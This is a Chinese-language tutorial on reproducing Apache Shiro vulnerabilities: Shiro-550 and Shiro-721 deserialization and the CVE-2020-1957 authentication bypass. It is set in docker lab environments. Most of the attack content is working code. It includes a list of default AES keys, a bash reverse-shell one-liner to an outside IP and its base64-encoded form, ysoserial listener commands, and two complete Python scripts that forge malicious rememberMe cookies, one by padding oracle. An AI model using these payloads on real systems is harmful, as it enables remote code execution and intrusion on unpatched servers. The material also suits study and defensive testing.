Shiro 漏洞复现

Shiro 漏洞复现

shiro是什么?

ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。

shiro组件识别

1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。

2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。

Shiro-550(CVE-2016-4437反序列化漏洞)

	shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设
	影响版本:Apachee Shiro <= 1.2.4
  • 常见的key:

    kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
    2AvVhdsgUs0FSA3SDFAdag==
    4AvVhmFLUs0KTA3Kprsdag==
    3AvVhmFLUs0KTA3Kprsdag==
    wGiHplamyXlVB11UXWol8g==
    Z3VucwAAAAAAAAAAAAAAAA==
    6ZmI6I2j5Y+R5aSn5ZOlAA==
    ZUdsaGJuSmxibVI2ZHc9PQ==
    1QWLxg+NYmxraMoxAXu/Iw==

  • 使用docker搭建环境:

    拉取镜像

    docker pull medicean/vulapps:s_shiro_1

    启动容器

    docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

  1. 检测是否存在默认的key

    工具

    https://github.com/StarkChristmas/Shiro_exploit

    使用命令

    python shiro_exploit.py -u http://靶机:端口

  • 这里得到AES秘钥

    CipherKey:r0e3c16IdVkouZgk1TKVMg==

  1. 确认反弹shell语句(在java中要base64编码)

    原本的语句

    bash -i >& /dev/tcp/8.8.8.8/6666 0>&1

    base64编码(中间要去空格)

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

通过ysoserial这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令

 # `ysoserial下载
 https://github.com/frohoff/ysoserial/releases/tag/v0.0. 
java 复制代码
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
  1. 准备一个脚本shiro_poc.py
python 复制代码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    return base64.b64encode(iv + encryptor.encrypt(file_body))


if __name__ == '__main__':
    if not sys.argv[1:]:
        print(f'Usage: {sys.argv[0]} <payload>')
        sys.exit(1)
    payload = encode_rememberme(sys.argv[1])
    print("[+] Payload: ")
    print("rememberMe={0}".format(payload.decode()))
  • 脚本生成payload,端口为先前监听的9999

    python shiro_poc_test.py 攻击机ip:9999

  1. bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)
  1. 成功得到shell

Shir0-721漏洞利用

由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)

环境搭建

git clone https://github.com/inspiringz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 .

docker run -p 8080:8080 -d shiro-721

漏洞利用

  1. 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)
  • 如果登录成功则不会设置deleteMe的cookie
  • 如果失败时会设置deleteMe的cookie
  1. 反序列化工具ysoserial生成Payload

    java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class

  2. 创建一个python脚本遍历key,命名为exp.py

python 复制代码
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import unquote
import requests
import socket
import time
import sys
import logging


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie.decode('utf-8')
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        # logging.debug(response.headers)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    if not sys.argv[3:]:
        print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))
  1. 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可

    python exp.py 靶机URL 登录好的cookie 生成的payload

  • 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换 AES-CBCAES-GCM,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示

Apache SShiro认证绕过漏洞(CVE-2020-1957)

  1. 访问http://your-ip:8080/admin/,发现无法访问,会重定向到登录页面
  1. 访问http://your-ip:8080/xxx/..;/admin/可以绕过校验